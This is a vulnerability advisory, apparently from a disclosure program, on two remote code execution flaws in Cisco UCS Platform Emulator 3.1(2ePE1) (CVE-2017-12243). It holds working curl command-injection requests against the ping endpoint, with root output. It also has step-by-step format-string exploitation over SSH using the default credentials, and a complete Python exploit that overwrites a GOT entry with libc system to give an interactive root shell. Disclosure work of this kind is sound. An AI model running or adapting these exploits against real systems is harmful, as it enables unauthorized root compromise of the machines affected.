1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 |
## Vulnerabilities Summary The following advisory describes two remote code execution vulnerabilities found in Cisco UCS Platform Emulator version 3.1(2ePE1). Cisco UCS Platform Emulator is the Cisco UCS Manager application bundled into a virtual machine (VM). The VM includes software that emulates hardware communications for the Cisco Unified Computing System (Cisco UCS) hardware that is configured and managed by Cisco UCS Manager. For example, you can use Cisco UCS Platform Emulator to create and test a supported Cisco UCS configuration, or to duplicate an existing Cisco UCS environment for troubleshooting or development purposes. The vulnerabilities found in Cisco UCS Platform Emulator are: Unauthenticated remote code execution Authenticated remote code execution ## Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ## Vendor response The vendor has released patches to address this vulnerability and issue the following CVE: CVE-2017-12243 Vulnerabilities details Unauthenticated remote code execution User controlled input is not sufficiently sanitized when passed to IP/settings/ping function. An unauthenticated attacker can inject commands via PING_NUM and PING_IP_ADDR parameters. Those commands will run as root on the remote machine. ## Proof of Concept </code><code> curl "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#" curl -k "https://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#" curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1" curl -k "https://IP/settings/ping?ping_num=1%3buname+-a%3b#&ping_ip_addr=127.0.0.1" </code><code> By sending one of the above requests the Cisco UCS will response with: </code><code> /sample output/ ================ demo@kali:~/poc$ curl -k "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#" PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms Linux ucspe 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux demo@kali:~/poc$ curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1" uid=0(root) gid=0(root) groups=0(root) </code><code> Authenticated remote code execution Cisco UCS Platform Emulator is vulnerable to format string vulnerability that leads to remote code execution. Cisco UCS Platform Emulator runs an SSH server by default, and users who log-in via ssh runs the following command: </code><code> show sel %x </code><code> Get the following response: </code><code> "Error: Invalid rack server value: ...somedigits.." </code><code> By execute the ssh “show sel %x” command we overwriting got entry for _ZN7clidcos15CommandEmulator16cli_param_filterEPKc function from libsamvsh.so with libc system. ## Proof of Concept In order to exploit the vulnerability, please follow the following instructions: Install ucspe on vm (setup all 3 network cards) with the following user and password: Default ucspe user : ucspe Default ucspe pass : ucspe Run the ucspe and write down the ip address of the ucspe (visible in console “Connected to IP: ….”) In this Proof of Concept we will use IP – 192.168.1.43 Open up two terminals on some other machine (kali for example). On the first terminal: Create poc directory, put poc4_ucspe_3.1.2e.py in the poc directory. change current directory to poc Create fifo1: </code><code> mkfifo fifo1 </code><code> Create output directory:” </code><code> mkdir output </code><code> Run ssh with stdin redirected from fifo1 and stdout redirected to output/log file: </code><code> tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log # use default credentials ucspe/ucspe </code><code> # use default credentials ucspe/ucspe On the second terminal (terminal2): Change current directory to poc Run the poc4_ucspe_3.1.2e.py The output should be: TERMINAL1 </code><code> demo@kali:~/poc$ mkfifo fifo1 demo@kali:~/poc$ mkdir output demo@kali:~/poc$ tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log Pseudo-terminal will not be allocated because stdin is not a terminal. The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established. RSA key fingerprint is SHA256:qEdgqNFyfqA2BU1+cH9rmYrsIOiQr/NlCpgAyzrX70Y. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.1.43' (RSA) to the list of known hosts. uucspe@192.168.1.43's password: TERM environment variable not set. </code><code> TERMINAL2 </code><code> demo@kali:~/poc$ python poc4_ucspe_3.1.2e.py Going through some menus please wait a moment.. You should now see on the other terminal message simmilar to "Error: Already in local-mgmt shell.." [.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so -> 0x6b9f64 [.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt -> 0x6d7a70 [.] Dumping snprintf address from libc -> 0x7791210 [.] Calculating libc system address -> libc base addr = 0x7746000 -> system addr = 0x7780f60 [.] Sending payload.. show sel %62c%28$nAAA show sel %237c%28$nAA show sel %86c%28$nAAA show sel %229c%28$nAA Sleep for fork adjustment.. Ok please type your commands (type exit for exit) > id ['uid=0(root) gid=0(root) groups=0(root)'] > </code><code> poc4_ucspe_3.1.2e.py </code><code> import struct import time import binascii def generate_payload(addr): basepayload = "show sel AAAAAAAAAAAA" aa = (addr >> 24 & 0xff) bb = (addr >> 16 & 0xff) cc = (addr >> 8 & 0xff) dd = (addr >> 0 & 0xff) if aa<34: aa_c_payload = aa + 222 else: aa_c_payload = aa - 34 if bb<34: bb_c_payload = bb + 222 else: bb_c_payload = bb - 34 if cc<34: cc_c_payload = cc + 222 else: cc_c_payload = cc - 34 if dd<34: dd_c_payload = dd + 222 else: dd_c_payload = dd - 34 aa_payload = "%" + str(aa_c_payload) + "c%28$n" bb_payload = "%" + str(bb_c_payload) + "c%28$n" cc_payload = "%" + str(cc_c_payload) + "c%28$n" dd_payload = "%" + str(dd_c_payload) + "c%28$n" aap = basepayload[:9] + aa_payload + basepayload[len(aa_payload)+9:] bbp = basepayload[:9] + bb_payload + basepayload[len(bb_payload)+9:] ccp = basepayload[:9] + cc_payload + basepayload[len(cc_payload)+9:] ddp = basepayload[:9] + dd_payload + basepayload[len(dd_payload)+9:] return [aap,bbp,ccp,ddp] def clearlog(): fo = open("output/log","w") fo.truncate() fo.close() def readlog(): logread = [line.strip('\n\0x00') for line in open('output/log')] return logread def sendcommand(cmd): f=open("fifo1", "a+") f.write(cmd+"\n") f.close() def dump(adr, frmt='p'): clearlog() leak_part = "show sel %28${}".format(frmt) raw_addr = struct.pack("I", adr) if "\x20" in raw_addr: print "space!" out = leak_part + "AAAAAAA"+raw_addr sendcommand(out) time.sleep(2) e = readlog()[0] outbin =e.split("AAAAAAA")[0].split(": ")[2] clearlog() return outbin+"\x00" def starting_point(): clearlog() out = "show sel %147$x" sendcommand(out) time.sleep(2) e = readlog()[0] outbin =e.split("AAAAAAA")[0].split(":")[2] clearlog() return outbin clidcos_step = 0x1DB0C libc_emulator_snprintf = 0x0004b210 libc_emulator_system = 0x0003af60 print "Going through some menus please wait a moment.." sendcommand("c") time.sleep(1) sendcommand("show version") time.sleep(1) sendcommand("connect local-mgmt") time.sleep(1) sendcommand("connect local-mgmt") time.sleep(1) sendcommand("show version") time.sleep(5) clearlog() print "You should now see on the other terminal message simmilar to \"Error: Already in local-mgmt shell..\" " print "[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so" off3 = int(starting_point(),16) print "-> " + hex(off3) print "[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt" clidcosGOTPLT = off3+clidcos_step print "-> " + hex(clidcosGOTPLT) print "[.] Dumping snprintf address from libc" libc_printf = dump(clidcosGOTPLT+8,'s')[:4] libc_tmp1_hex = binascii.hexlify(libc_printf[::-1]) libc_snprintf_addr =int(libc_tmp1_hex, 16) print "-> " + hex(libc_snprintf_addr) print "[.] Calculating libc system address" libc_base_addr = libc_snprintf_addr - libc_emulator_snprintf print "-> libc base addr = " + hex(libc_base_addr) libc_system_addr = libc_base_addr + libc_emulator_system print "-> system addr = " + hex(libc_system_addr) print "\n[.] Sending payload.." sendcommand(generate_payload(libc_system_addr)[3] + struct.pack("I", clidcosGOTPLT)) print generate_payload(libc_system_addr)[3] sendcommand("show version") time.sleep(1) sendcommand(generate_payload(libc_system_addr)[2] + struct.pack("I", clidcosGOTPLT+1)) print generate_payload(libc_system_addr)[2] sendcommand("show version") time.sleep(1) sendcommand(generate_payload(libc_system_addr)[1] + struct.pack("I", clidcosGOTPLT+2)) print generate_payload(libc_system_addr)[1] sendcommand("show version") time.sleep(1) sendcommand(generate_payload(libc_system_addr)[0] + struct.pack("I", clidcosGOTPLT+3)) print generate_payload(libc_system_addr)[0] sendcommand("show version") time.sleep(1) print "Sleep for fork adjustment.." time.sleep(5) sendcommand("ssh /bin/bash") print "Ok please type your commands (type exit for exit)" time.sleep(2) while True: n = raw_input("> ") if 'exit' in n: break clearlog() sendcommand(n) time.sleep(2) print readlog() </code><code> |